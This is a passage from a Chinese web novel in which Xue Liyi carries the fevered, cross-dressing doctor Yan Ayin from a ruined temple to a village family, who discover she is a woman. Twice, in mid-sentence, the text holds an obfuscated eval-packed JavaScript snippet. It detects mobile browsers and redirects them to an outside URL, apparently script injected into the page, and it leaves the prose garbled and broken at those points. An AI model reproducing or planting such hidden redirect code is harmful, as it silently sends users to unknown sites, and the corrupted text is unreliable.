大雨倾盆。 走进破庙里,好歹头顶有了遮掩。 可衣裳却已经被打湿了。 “放我下来。”晏阿音勉强维持清醒,声音轻不可闻。 薛荔衣把她放下,让她平稳站好。 他则转身走到角落里,把那些干枯的茅草收拾出来,再解下身上的斗篷铺上,勉强算得上简易的床铺。 晏阿音扶着旁边积满灰尘的佛台,见他做完这一切,不由扯出个笑:“没想到你还挺能干的。” 身上的衣裳因为淋了雨,成了冰坨子,被破庙门外吹进来的风一刮,不断传来浸骨的寒意,晏阿音觉得身上仅存的一点热意被抽离,不由瑟缩了下。 小腹疼得更厉害了,晏阿音昏昏沉沉,靠着佛台慢慢滑落到地上,闭上了眼睛。 不远处的薛荔衣收拾完床铺,见她如此,当即疾步走回来,“怎么了?” “晏阿音?” “能不能听见我说话?” 他皱眉蹲下身,握着她纤细的肩膀晃了晃。 耳边传来焦急的声音,晏阿音勉强让自己清醒一些,说道:“冷。” 薛荔衣听清了她口中的呢喃。 冷? 薛荔衣的目光落在她被雨淋湿了大半的布衣,眉头缓缓皱起。 他转头看了看外面瓢泼的大雨,又扫视破庙,在佛台旁边看见了一捆枯废的干柴。 应当是从前住过的人留下的。 所幸那干柴放置的地方有东西遮挡,不至于被雨打湿,还能用。 薛荔衣将干柴抱到她身边,拿出随身带的打火石,三两下生起了火。 晏阿音靠在佛台边,维持着最后一丝清醒:“没想到你还随身带这个。” 噼啪声中,明火的温暖传递过来,晏阿音抿了抿干涩的唇,努力起身靠近火源一些,想汲取更多的暖意。 薛荔衣立刻皱眉,把她扯回来:“你疯了吗?直接去碰火?” 男人的手温热。 很暖和。 晏阿音昏昏沉沉间,克制着往他身上贴的欲望,咬牙忍耐疼痛。 薛荔衣觑着她的神情,皱眉:“当真疼成这样?饿坏了?” 片刻后他道:“我出去给你弄吃的。” 晏阿音却一反常态,拉住了他,声音染上哭腔:“不要。” “我出去一会就回来,不会把你扔在这里。” “别走……” 薛荔衣终于察觉不对劲,晏阿音竟已经陷入了半昏迷。 “晏阿音,醒醒。” “晏阿音?” 他试图把她叫醒。可躺在他臂弯里的晏阿音却完全没有回应,眉头紧蹙着,很是痛苦不安。 “阿音?”薛荔衣不知不觉中,换了种叫法。 陷入无意识昏迷的晏阿音听见这一句,竟委屈地红了眼眶,贴进他怀里,像只小兽般抱住了他。 “不要……不要走……” 薛荔衣原本皱起的眉一顿,看着怀里的身体,眼中流露淡淡的审视,方才那一点好不容易升起来的担忧,被另一种探究意味的目光取代。 “晏阿音?” 他又低声叫了一声。 晏阿音的脑袋埋在他怀里,像是很冷,身体微微发着抖,只闷头哭。 胸口传来湿意,衣襟一片慢慢洇湿。 真哭了? “我不走。”薛荔衣皱起眉,很是无奈。半晌又补了句,“你不用求我,你求我也没用。” …… 破庙之外,天幕已完全漆黑,大雨砸落的声音震耳欲聋,并没有人能够回答他。怀里的人早已经陷入半昏迷,自然没办法对他的话作出回应,只抓着他的衣裳,眼眶泛红的模样脆弱极了。 薛荔衣终于长叹了口气,道:“行吧,算我欠你的。” 他把她的手扯开,想把她抱起来,放到那张用干草临时铺起的床上。 然而半昏迷之中的病人,实在固执。薛荔衣才稍微动了动,晏阿音便用力地抓紧了他的衣裳。 与此同时,她还扁着嘴抽抽嗒嗒两下,很是委屈的模样,仿佛要被勒死的不是他薛荔衣,而是她。 薛荔衣:“……” 明明被施加酷刑的是他,她哭什么。 “别哭了,我没走,松手。”薛荔衣低声道。 与此同时,他伸手试了下她额头的温度,感觉掌心一片滚烫,温度很高,显然是烧起来了。薛荔衣皱了皱眉,抬头朝破庙外的雨幕看了眼。她应该是饿了许久,身体不舒服,再加上淋了雨,直接病倒了。 这小身板,还佯装着逞强说自己比他厉害。 薛荔衣抱着晏阿音往干草床走去,感受着怀里轻飘飘的重量,忍不住道:“真不禁折腾。” 薛荔衣没有碰晏阿音的身体,隔着衣裳尽量减少和她的接触。 他信步走到角落,如同放下一只猫般把她放到床上。 只是,起身的时候出了个小意外。 陡然清脆的“刺啦”一声,胸前的衣襟竟撕开了一道口子。 他胸前直接少了一片布。 虽然里面还有衣裳,没露出什么,可是…… 越看越怪了是怎么回事。 薛荔衣低头,陷入诡异的沉默。 也不知道大安看见他这件几乎和女儿一样保养的衣裳被撕了,是什么心情。 薛荔衣看着还闭着眼睛抽噎的小大夫,眉头皱成八字。 头顶的瓦片被大雨砸得噼里啪啦,薛荔衣转头看了看窗外的雨势,思衬片刻,紧了紧衣襟,迈出破庙的遮蔽,走进漆黑的雨幕中。 薛荔衣冒着大雨走了一段距离,微微眯眸,扫视远方。 他依稀看见了不远处影影绰绰的村庄,迈步朝那儿走去。 大雨来的凶且疾速,几乎就在薛荔衣走出破庙的一瞬间便将他淋湿了。 雨滴伴随着风打在脸上,薛荔衣的神情却并未有变化,始终淡淡地眯着眸,在瓢泼大雨中冷静审视前方,仿佛这种小事已经经历过无数次。 没多久,薛荔衣靠近了那个村庄。 最近的一家农户屋子点着灯,窗子透出灯火和走动的人影,能看出主人在家,暖意融融,烟火气很足。 薛荔衣叩了叩门。 里头立即传来一声“谁啊”,随即脚步声噼啪噼啪靠近,屋门被人用力地打开,里面点着煤油灯,然而,是空的。 薛荔衣低下头,这才发现门内站着个矮矮的小豆丁。 小豆丁仰头看着他,水灵灵的眼睛用力眨巴一下,过了好半天,发出一声天真的感慨:“哇!落汤鸡。” 还是个好俊俏的落汤鸡。 薛荔衣:“……” 屋子里头又走出来一个上了年纪的妇人,显然方才在干活,边挽袖子边走过来,拍了下小豆丁的脑袋:“干什么呢,滚进去读书。”小豆丁撅着嘴巴,看了薛荔衣一眼,依依不舍地转头跑了。 妇人手上提着铁勺,看见薛荔衣,愣了下。 是惊异于此人虽然衣裳湿透落魄不已,却仍旧摆不脱的一身贵气,还有那迎面而来虽然平静却暗藏冷意的目光,无一不在说明此人身份不凡。 饶是她只是个农妇,也能看出这人和他们这些普通百姓不一样。 哪有人淋雨淋到全身湿透,连头发丝都在滴水的情况下还能如此淡定自若,更何况此人容貌非同寻常,俊美不凡。 妇人当即警惕起来:“你是谁?你要干什么?” 说着又朝外看了一眼,见外面天幕漆黑,雨势瓢泼,连忙道:“我话说在前头啊,这是我家,客人若要进来避雨,得给我交银子。” 薛荔衣言简意赅:“十两银子,跟我去救个人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940453|177329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做不做?” 十两银子? 妇人难以置信地瞪眼,好半天才找回声音:“你说、你说多少?” 那可是十两银子啊,足足够他们家开销一年半,这人让她救个人就给十两银子? 薛荔衣眉头皱得更深:“不够可以加,一句话,救还是不救。” 他不喜欢废话。 妇人似乎不大相信,叫来里头躺床上休息的丈夫,小声交谈了几句,随即又戒备地看向薛荔衣:“你、你……你不会是什么官府通缉这些的罪犯,要拖我们下水吧!” 薛荔衣:“……” 晏阿音那个弱不禁风除了张脸还能看看脑子就是个摆设十分不够用的小大夫,应该做不出什么罪大恶极的事情。 “不是。” 妇人和她丈夫都被说动了,妇人往外走了点,探头朝外看:“要救的人在哪儿呢?” “三里之外的破庙。” 妇人终于惊诧,看回薛荔衣,上下打量:“公子,我们这村子挺偏僻的,大晚上的,你是这样冒雨走到这儿的?” 想了想,妇人又问:“那人是男的女的啊?” 莫不是这位公子的夫人?如此情深意重,淋雨都要过来找人帮忙。 薛荔衣居然有些迟疑:“男的吧。” 毕竟他也是第一次看到这么娘里娘气身板平平除了口头挂个男人没一处地方像男人的男人。 妇人也哽了一下,表情一时间难以形容。 “……” 什么叫,男的吧? 性别都能认不出来吗? 妇人立即推搡旁边的丈夫:“既然是男人,那你去,男人的事情你们男人处理。” 那中年男人留着胡须,显然睡觉被打扰,很有些不情愿:“我干了一天活了,累得不想动,而且我粗手粗脚的,怎么照顾人?” 薛荔衣眉头皱了皱,沉默片刻,补充道:“那人是男的,但是和女的差不多。” 言下之意就是让妇人去。 晏阿音那家伙估计不愿意让五大三粗的男人碰她。 妇人犹豫一会儿,把铁勺塞到男人手里,手在围裙上擦了擦,再次确认:“真是十两银子啊?” 薛荔衣不欲再说,转身离开走入雨中,只丢下一句:“跟着。” 妇人不想错过这么大的好事,赶紧提了盏灯,又拿了把伞撑起,疾步跟上,走了两步觉得不大好意思,扬声问道:“公子,要不要多拿把伞给你啊?” 那道身影没有说话,在漆黑的雨幕里越走越远,竟快要看不见了。 小豆丁啪嗒啪嗒跑出来,扶着门框,递出来一把伞:“娘,多带把伞。” 妇人接过伞,匆匆抬脚跟上薛荔衣。 走了一会儿,好歹是来到了晏阿音所在的那座破庙。 破庙四面漏风,不久前生起的火堆已经被扑灭了,只有零星的火星子还会亮。 妇人站在庙门口,隔着一段距离踮起脚尖眺望,确定不是贼窝,这才走进破庙里头。伞收起来,地上顷刻间被水浸湿一片。妇人囫囵拍着身上水珠,本想骂这破天气,抬头看见薛荔衣一身湿透连衣裳都在滴水,又不好意思说了。 “公子,你这雨淋的,快烤烤火吧,没得你先冻病了。” 薛荔衣并不在意,卷了卷衣摆拧干,走到被风扑灭的火堆旁边,动手生火,从始至终眼皮都没抬一下。火星窜起,勉强照亮了破庙里的情景。 他示意晏阿音所在的地方:“人在那里。”他不是大夫,也没多少照顾病人的经验,帮不上忙,索性撒手让别人照顾。 妇人看着那道躺在茅草上昏迷的身影,欲言又止。 也不知道该说这位公子是在乎还是不在乎。要是不在乎,能冒雨走这么远的夜路四处求救,要是在乎,现在难道不应该急哄哄地围过去吗? 难道这两人是结拜的兄弟?不好亲近? 妇人琢磨着,朝晏阿音走近了些,愣怔下脱口而出:“这是男人?这是女人吧。” 不远处火堆旁的薛荔衣似乎没听清,抬头:“什么?” 8. 第 8 章 妇人对上他的目光,莫名心里一怵,赶紧赔笑道:“没没,是个男人,是我看岔了,我这农妇活这么大,没见过这么秀气的男人,可能是哪家的小公子吧。” 妇人把晏阿音翻过来,一摸额头:“哎呦,这么烫,都烧成这样了!” 晏阿音烧得迷糊,察觉有人靠近便抱了上去,低声呢喃道:“不要走,好冷。” 妇人被抱了个满怀,当即愣住。 不远处的薛荔衣头也不抬,漫不经心解释:“不用在意,她把你认成我了。” 妇人如同当头劈下一道惊雷。 啊? 这这这…… 妇人心道今日真是开了眼了,昏暗的火光中,见晏阿音脸色不对:“不行不行,再这么烧下去脑袋都要烧傻了,那位公子你过来帮把手,把他抱到我家去,这儿四面漏雨,不能久留。” 薛荔衣拍了拍手上柴禾的木屑,起身朝这里走过来。 妇人帮着把晏阿音扶起来,好让薛荔衣搀扶,只是却忽然看见晏阿音手中紧握着一条碎布。 她不由问了句:“这是什么要紧东西吗?这样抓着不稳妥,还是收起来,没得一会儿丢半路上……” 正说着,却又觉得哪里不对。 妇人凑过去仔细一看。 这布条怎么有些眼熟。 妇人条件反射朝薛荔衣看去,只见薛荔衣胸口衣襟处俨然一道裂口。 这位公子浑身被雨淋湿,连衣裳颜色都深了不少,可不难看出他的衣襟曾经被用力撕扯过。而这小郎君手里紧紧攥着的碎布条,形状可不正好就是那…… 妇人硬生生把到嘴边的话咽下,憋得面红耳赤。 现在的年轻小伙子,都玩这么野的吗? 薛荔衣并不知妇人心中所想,见她神情不对,皱眉道:“怎么,她情况很不好?” 他的视线落到晏阿音身上,也不废话,直接从妇人手中接过她:“我来。” 他把晏阿音抱起来,朝破庙外走去。 妇人反应过来,匆忙拿起地上湿漉漉的伞,打开伞疾步跟上:“哎呦!外面还在下雨呢,小郎君发着烧不能淋雨……” 好不容易追上了,然而薛荔衣腾不出手撑伞,妇人只好自己撑一把,另一只手尽力伸直,给薛荔衣他们遮雨。 一路沉默着穿过雨幕,遥远的村庄逐渐近了。回到屋子门外,薛荔衣走到屋檐底下,看见妇人自顾自把伞收拾好,搁在墙边沥水,说了声:“多谢。” 妇人并不知薛荔衣是为方才递伞一事道谢,只以为他是因他们施以援手表示谢意,想到那十两银子,尴尬地在衣裳上擦了擦手:“哪儿的事,顺手而已。” “快快快,别在外头吹风,先进门再说吧。” 妇人推门进去,扬声叫道:“豆子他爹,烧热水去。” 小豆丁嗒嗒嗒跑过来,疑惑地歪头看着薛荔衣怀里的晏阿音。 屋子里头,男人翻身下床,干活去了。 妇人把薛荔衣往里面引:“公子,咱们家虽然不富裕,但好歹有两间供客人住的屋子,你跟我来。” 薛荔衣跟着她走到里面的平房。 妇人推开门,把屋中灰尘略略清理了下,转身看见薛荔衣还一身湿透,觉得不妥:“公子,一会儿等豆子她爹烧完热水,你先去洗个澡,换上干净衣裳,不然真要冻病了。” “来来,先把小郎君放这。” 薛荔衣把晏阿音放到床上,妇人看见薛荔衣手上竟有依稀的血迹,咋舌道:“公子,你受伤了?” 薛荔衣低头看着手上的血迹,皱起眉。 他方才并没有感觉到自己被什么划伤了,也不觉得疼痛……难道他刚刚是被担忧转移了注意,才没发觉受伤? 妇人冲着外面叫:“豆子,带这公子去拿药敷敷,叫你爹帮衬着点。” 小豆丁嗒嗒嗒跑进来,仰头看着薛荔衣说:“大哥哥,你跟我来。” 薛荔衣看了眼床榻里的晏阿音,没有说话。 他并未流露什么情绪,可落在旁人的眼里,便是明晃晃的舍不得了。 小豆丁安慰道:“大哥哥,你放心好了,有我娘在,你媳妇不会有事情的。” 薛荔衣:“……” 妇人:“……” 妇人气冲冲捞起旁边的扫帚:“臭小子,乱说什么呢!平时叫你说话注意点你不听,现在在这胡诌,赶紧给我带客人出去!” “哇啊啊啊,我这就去,这就去。”小豆子吓得拽住薛荔衣的衣摆,掉头拔腿就往外面跑。 妇人这才作罢,门外,男人端来热水热茶和熬好的药汤:“省着点啊,这可是用去年咱到城里买的草药熬的,不多了。” 妇人皱眉:“我不是同你说过客云有个姓晏的大夫,隔壁王大嫂之前对他赞不绝口,说他那儿的药材便宜又好,怎么不去那儿买?” 男人不屑道:“王氏怕是看上那小大夫长得俊又老实,想把女儿嫁过去才夸呢,我听见的可都是说那小大夫医术一般。” 妇人无奈推搡道:“行了行了,干活去,外面那公子付十两银子让咱救人呢,别耽搁了。” 男人摆摆手离开了。 妇人这才拧干布巾给昏迷的晏阿音擦脸和脖子,只是,擦着擦着,妇人忽然察觉异常——晏阿音的脸,居然慢慢被擦白了。 怎么回事? 妇人宛如晴天霹雳劈到头顶,僵硬了一瞬。 不是吧,她也没使多大劲儿啊,把人家小郎君的脸皮都给擦掉了?这可不行啊! 妇人咽了口口水,放轻动作,碰上晏阿音的脸颊继续擦拭,终于明白了。 这是……敷了什么特制的东西吗? 可这也说不通啊。即便是男子敷粉,也都把自己往白了敷,这小郎君怎么还把自己脸给涂黑呢? 妇人锁着眉,转头看了眼门外,心道这一对儿郎君可真是奇怪。 好在妇人没有彻底把晏阿音的脸擦干净,只略略擦拭了下,让她舒服一些,紧接着又给她擦了擦脖子和手,才用布巾浸了冷水,敷在她额头上降温。 陷入半昏迷的晏阿音被喂了点热水和药汤,侧躺在床上,无意识地蜷缩起身体。 妇人站在木盆边拧干布巾,转头看见她衣裳上的血,当即吓了一跳:“哎呦天啊,这又是哪受伤了?” 说着快步走到晏阿音身边,可并没有看见什么伤口。妇人心中疑惑,看着晏阿音染了血的衣裳地方,联想到什么,心中冒出一个难以置信的念头。 不是吧? 妇人动作放轻了点,把晏阿音搀起来,给她身后垫了床软和的薄被,才试着叫她:“郎君?”踌躇着不知道该不该改口,“姑娘?” “这到底是男的还是女的……”妇人犯了难,站在原地握着手。她又不好对孩子那般伸手摸一下探个究竟,万一真是个公子,这如何使得。 可她也是女人,晏阿音的症状和模样,和女子每月那几天太像了。 妇人皱眉想了想,先给晏阿音盖了床薄被,疾步开门出去。 薛荔衣略略洗过澡,换了身衣裳,正坐在外面屋子和豆子聊天。 说是聊天,其实只有豆子叽叽喳喳,薛荔衣坐在旁边,端着一碗茶,听得满头黑线。 豆子一点没察觉,小嘴巴拉巴拉,说得兴高采烈眼睛发光。 “大哥哥,那个真的不是你媳妇吗?” “他是男的女的呀?” “大哥哥,你怎么不说话?你明明不是哑巴呀。” “……” 看见妇人神色匆忙地出来,薛荔衣立即搁下茶碗,询问道:“她怎么样?” 妇人见他想进屋子里看,连忙摆手:“无事无事,公子不用担心,那位小郎君挺好的,我现在只是去煮一碗热汤给小郎君驱寒,公子别急。” 薛荔衣看出妇人不愿意让他进去,微皱眉:“当真没事?我不能进去看看?” 妇人立即道:“别别别,不方便。” 薛荔衣步伐一顿:“都是男子,有什么不方便的。” 妇人吞吐了两句,寻了个由头道:“那小郎君发烧惊厥,此刻还没醒呢,公子若是实在担忧,过去在门边看一眼就是。” 原来是这样,薛荔衣点了点头:“无事就好。” 没有大碍就行,他也不是非得进去看。 妇人见他坐回去,松了口气,嘱咐豆子:“好好招待,不许吵着客人。” 豆子稚嫩的脸蛋安静乖巧:“娘,你放心好了。” 等妇人去了厨房,豆子立即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940454|177329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向薛荔衣,叽里呱啦:“大哥哥,你是哪里人啊?你好关心那个小哥哥,那是小哥哥,还是小姐姐?” 薛荔衣:“……” “你叫豆子是吧,哥哥本来想给你买糖吃的。” “啊,”豆子正襟危坐,眼睛亮晶晶,“真的吗?” 薛荔衣道:“不过你太吵了,我突然又不想了。” 豆子马上瘪了小嘴,委屈得眼泪汪汪。 薛荔衣懒洋洋笑:“不过,如果你不说话,我可以再考虑考虑。” 豆子立即捂住嘴巴。 很好,闭嘴了。 清净了。 薛荔衣十分满意,端起茶碗低头喝茶。 谁料想下一刻,豆子仿佛决定了什么似的松开手,继续唠叨:“不吃糖了,大哥哥,咱们聊天吧,你怎么一直不说话,你抱回来的那个到底是哥哥还是姐姐呀?” 薛荔衣:“……” 妇人去厨房煮了一碗红糖水,还放了十足十的生姜,端着热气腾腾的红糖姜汤回来的时候,豆子捂住鼻子,大叫一声:“啊,生姜。” 薛荔衣也看过来,视线停在妇人手里的陶碗,道:“这不是女子喝的吗?” 妇人讪笑着解释:“公子,这是驱寒的,小郎君淋雨受了寒,我们这儿都喝这个。” 薛荔衣这才散了疑惑,点点头。 妇人连忙回了晏阿音所在的那件屋子,关上门。 晏阿音还蜷缩着靠坐在床上,妇人走过去,把她搀扶起来,轻轻摇晃着她,叫道:“小郎君,醒醒,醒醒。” 晏阿音还在发烧,但好歹恢复了些。 不多时,她终于被唤醒,慢慢睁开眼,勉强看清面前有个人。 妇人忙解释道:“我是顺金边郊一个村子的农妇,你受伤了,是外面那个公子带你来我们这儿借宿治病,你可好些了?还觉得哪里难受?” 晏阿音闭上眼,往被子里缩:“肚子疼……” “这红糖姜汤我刚熬好的,喝了能驱寒,会好受很多。”妇人把陶碗递给她。 晏阿音愣住。 她睁开眼睛,动作缓慢,看着面前的热汤,再次抬头看向妇人。 “喝吧。”妇人催促,赧然笑笑,“我们这也没什么好东西,劳烦你将就些。” 晏阿音摇头:“我不是说这个。” 她皱着眉,欲言又止。 妇人端着红糖姜汤过来,恐怕已经知道她的秘密。正忐忑着,她视线一扫,果然看见自己的衣裳染了血。 妇人见她脸色苍白,压低声音问道:“小郎君,你到底是女子还是男子啊?我看你这模样……” 晏阿音叹息道:“您有多余的衣裤么?” 妇人明白了,立即安抚道:“有的有的,姑娘别担心,衣裳肯定有,我这就去给你拿。” “大娘等等。” “怎么了?”妇人折返回来。 晏阿音眉头锁得死紧:“您刚刚说的外面那个公子,是不是……” 带她过来应该是薛荔衣吧?但是她不知道怎么形容。 “是不是……一个男的?” “……” 好像问了句废话。 妇人一呆,笑道:“自然是,是个俊俏的公子。” 晏阿音想到最要紧的事情,又问:“您认出我是女子,他是不是也已经知道我……” 妇人笑容加深:“不知道呢。姑娘瞒着身份,难道是要给那个公子一个惊喜?” 晏阿音只听了前半句,松了口气,小心翼翼道,“大娘,劳烦您只将我看作男子,一切如常就好。” 妇人愣了下,心道这两人真是奇怪。 “小郎君放心。” 晏阿音终于吐了口气:“多谢。” 妇人离开前关上了门。 晏阿音撑着身体坐起,把那碗红糖姜汤喝掉,才摸了摸额头,给自己把脉,一边却又胡思乱想。 她昏迷的时候……应该没对薛荔衣做什么出格的事情吧? 晏阿音正努力搜寻记忆,房门忽然被叩了叩。 有人推开了门。 晏阿音抬头,只见薛荔衣抱着手,懒洋洋地靠在门框边,一双眼尾上挑深不见底的狐狸眼,正一眨不眨地盯着她。 9. 第 9 章 晏阿音心跳漏跳一拍。 “你来多久了?” 顷刻间,她有些心乱如麻的惶惶。薛荔衣什么时候来的?他不会一直站在门外吧,那方才那妇人和她的对话他是不是听到了…… 薛荔衣勾唇轻笑,并不回答,只道:“对了,有件事和你说。我找这户人家帮忙,是提前说好了要给人家钱。现在你醒了,钱记得给,我全副身家多少你是知道的,指望我……不大实际。” 晏阿音预感不好,眼睛睁大:“多少钱?” “不多,十两而已。” “……” 十两。 而已。 晏阿音想再晕一次。 薛荔衣含笑睇着她:“我为了救你如此奔波,现在你醒过来了,不会还想让我负责吧?” 晏阿音一狠心道:“十两就十两,瞧不起谁呢。” 薛荔衣唇边笑意更浓。 他打量着她的脸,眸色深了些,忽然道:“淋了一遭雨,病了一场,白了不少啊。” 晏阿音扭开头,浑身都不自在起来:“白了就白了,不行吗?” “我以为你刻意把脸抹黑了呢。” 晏阿音对上他漫不经心的目光,动作愈发不自然,缩进被子里。心中暗道若是否认,反而显得心虚,索性大大方方承认了:“没错,我是把脸抹黑了,那又怎样。” “为什么呢?”薛荔衣似乎很好奇。 晏阿音的声音闷在被子里:“怕别的姑娘看上我!你满意了吧?” 薛荔衣忍不住,低笑出声:“原来是这样。” 晏阿音小腹还有些疼,怕他看出什么,忙道:“问完了没有,审犯人呢你,赶紧出去。” 薛荔衣倒也没坚持,转身欲走,离开前轻飘飘地留下一句:“这么对待恩人,忘恩负义,伤煞我心。” 说完便走了。 晏阿音从被子里露出半个头,见薛荔衣真的离开了,长舒一口气。 妇人从隔壁屋子拿了衣裳和月事带,紧赶慢赶回来,差点迎头撞上薛荔衣,讪讪一笑:“公子。” 薛荔衣看了她手里的东西一眼,步伐微顿,疑惑道:“这是什么?” 妇人赶紧盖住,呵呵笑说:“小郎君受伤了,这是绑伤处的绷带。” “哦。”薛荔衣没多留意,点点头。 却又思衬,晏阿音什么时候受伤的?他竟未察觉。 这绷带和他之前见过的,好像也不大一样。 妇人看了眼外面的天色:“公子,你们行动不方便,今夜便在我们家休息吧。你若要单独住,我给你把剩下一间收拾出来,只不过那地方很久没清理,简陋了点。” 薛荔衣随口道:“和她一间就行了,不用麻烦了。” 妇人一愣,反应过来红了脸,点头道:“行。” “公子,还有一事,你起初说的那银钱……” 薛荔衣还没说话,豆子叼着饴糖嗒嗒嗒跑过来,举着手上的钱袋兴高采烈说:“娘,大哥哥已经把银子给我了,我去外面买了糖,还剩这么多。” 妇人拍了下豆子的脑袋:“好你个小子,胆子大了。今天有客人在,之后再收拾你。” 说完,妇人揣好钱袋,带着手里的衣裳进了晏阿音的屋子。 豆子站在原地,揉着被打疼的头,懊恼不已。 薛荔衣嘲笑:“没脑子,买了东西还敢回来炫耀。” “我怎么知道,”豆子委屈地嘀咕,“我都把糖纸拆了,总不能不吃呀。” “哥哥教你一个道理,听不听?” “听!”豆子眼睛亮闪闪的。 他现在可崇拜这个长得好看的大哥哥了,觉得他简直无所不能。 薛荔衣伸手,揉了一把豆子被风吹得乱糟糟的头发,笑眯眯道:“做人,要学会什么该藏,什么不该藏。” 豆子歪着头十分不理解:“什么意思啊?” “意思就是,”薛荔衣道,“如果你不想被骂,就先把你的糖藏起来,等到你娘心情好了再拿出来。” 豆子恍然大悟,哦了一声:“我懂了!” “就是像你一样,把秘密都藏在心里是不是啊?” 薛荔衣瞥他:“我有什么秘密?”一个破小孩看出来什么了? 豆子指着不远处那扇门,煞有介事一本正经地道:“你喜欢那个哥哥,你是断袖,但是你不说,这就叫藏!” “……” 薛荔衣脸色一沉,一把薅过他手里咬剩的半块糖,扔进嘴里吃了,绕过他往屋外走。 “哎哎哎,我的糖我的糖!”豆子惊慌地迈着小短腿追上去。 薛荔衣停住脚步,嚼着嘴里的饴糖,看着拦在面前气急败坏的小豆丁,没什么表情。 豆子看着他居然把糖吃完了,哇一声大哭起来。 “你把我的糖吃了。” 薛荔衣无情冷笑:“这就是不懂得藏,随便乱说话的后果,现在懂了没?” 豆子不依,还在嚎叫:“我的糖,我的糖。” 薛荔衣听得不耐烦,给豆子嘴里塞了个东西,直接把小家伙的嚎啕堵住了。随即他便冷淡地站直身体,绕过豆子走出屋子,身影消失在门口。 豆子呆住了,停住哭声,把嘴里的东西拿出来。 立即惊喜叫道:“哇,是新的糖哎。” 这一刻,心目中原本负一百分的大哥哥变成了无所不能的神仙。 屋内,妇人将干净的衣裳和月事带交给晏阿音:“姑娘,你换上吧。” “多谢。”晏阿音笑笑道。 妇人见她脸色依旧有些苍白,关切嘱咐道:“时辰不早了,今晚好好休息,咱们女人最怕这个,疼起来可真要命。” 晏阿音颔首:“大娘,答应要给你们的银钱,我之后会……” “不用不用,”妇人闻言露出笑容,摆手道,“外面那位公子已经给了,姑娘你不用挂心这个。” 晏阿音忽然愣住:“什么,薛荔衣付过钱了?” 他哪来的银子? “是啊。”妇人点了点头,过去把窗子关紧。 妇人临走前嘱咐道:“姑娘,我一会儿再给你送一床被子来,晚上你和那郎君睡觉的时候,可以和他一人一床。” 说完,妇人也有点不好意思,转头就走。 晏阿音呆住:“什么?什么睡觉?” 妇人略赧然道:“那公子说今夜和你一个屋子睡,一会儿估计就来了,你不用担心等久。” 晏阿音风中凌乱:“一个屋子睡?薛荔衣说的?” 这名字说的是外面那个公子吧,妇人笑应道:“是啊,那公子想得周到 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房门开着,原地只留下她和薛荔衣两个人。 “……” 身旁的颀长身影云淡风轻,波澜不惊。 晏阿音磨了磨牙,方道: “是你教豆子的?” 居然骗她开门。 薛荔衣笑了下,“我是这种人吗?” 不久前是豆子见房门紧闭,自告奋勇给他想办法,他还未拒绝,豆子就把他拉过来了。 晏阿音扭头:“那个大娘已经给你打扫了一间屋子,薛荔衣,现在立刻马上,离开这个房间。” 薛荔衣没什么反应,打量半晌她的神情,忽然松散一笑,反客为主。 “虽然不是我要来,可我已经来了。” “现在,我若不走呢?” 他的话语十分随意,却隐约透出一股强势。 “我是病人!”晏阿音心乱如麻,试图找理由。 “嗯。”薛荔衣点头表示他知道,“所以,共住一个房间,不是更方便照顾你这个病人?” 晏阿音:“……我不需要你照顾。” 薛荔衣突然缄默下来,眼皮略抬,看向了她。 晏阿音被他看得愈发不自在:“你看什么?” 薛荔衣没有说话,半晌,一步步朝她走了过来。 晏阿音有一闪而过的心虚,不由地往后退,她的身后就是床铺,退无可退,加上身上没力气,晏阿音腿一软,陡然跌坐在床。 她忙拖过枕头抱在身前。 “你做什么,我叫人了啊。” 薛荔衣走到她面前,微微俯身,好整以暇地靠近她:“晏大夫……” 晏阿音被他这奇怪的称呼和奇怪的语气听得起了一身鸡皮疙瘩,禁不住瑟缩了下。 薛荔衣从没这样叫过她,突然用这种称呼,肯定没好事。 薛荔衣的视线在她脸上掠过,抬手,轻轻把她腮边的一缕碎发拂开,继而低声道:“现在怎么要赶我走了?晏大夫似乎忘记了,你在那间破庙里昏迷的时候,是怎么抱着我不撒手的……” 10. 第 10 章 晏阿音如被雷劈,顷刻间化为石雕。 她,晏阿音,抱着他,不撒手? 这是她能干得出来的事情? 晏阿音指向自己,差点找不回声音,“我对你……” “对。” 薛荔衣点头,微笑着与她对视:“我衣裳差些都要被你撕光了,你说这要怎么办?” 晏阿音的脸色红了又绿。 她……她撕他衣裳? 想她晏阿音清清白白,忠贞正直苍天可鉴大地有眼神佛有目共睹,怎么在他嘴里就变成了这种无耻之徒…… 晏阿音正直道: “薛荔衣,你别想骗我!” 薛荔衣退开一些距离,随口道:“我何必说谎?你若不相信,问问那位大娘和豆子,我带你找他们求助的时候是什么模样,你又是什么模样,是谁欺负谁,大家都有目共睹。” 晏阿音这下整个人都不好了。 真的啊? 薛荔衣忽然朝她走近,将她攫取在视野之内。他压低声音,懒洋洋道:“我的名声毁在你手上了,晏大夫,怎么办?” 晏阿音傻了眼。 他这副要讨个说法的模样是要干什么…… 忙补救道:“我没想毁你清白。” “可事情已经发生了。”薛荔衣唇边弧度微翘,“没关系,我这人看得很开,就算被污蔑成断袖,我也不在乎。” “……?” 晏阿音瞪眼道:“可是我在乎!” 薛荔衣瞥向她。 晏阿音强调:“我不是断袖,你别把我和你混为一谈。” 这话一出,整个屋子陷入沉默,双方都没开口,空气中却有一丝怪异。 这句话……听起来怎么怪怪的。 晏阿音并没发觉自己已经被带偏了注意,完全不记得要把他赶到其他房间去。 她撑着身体下床,步伐微快走到门边,想要离开。 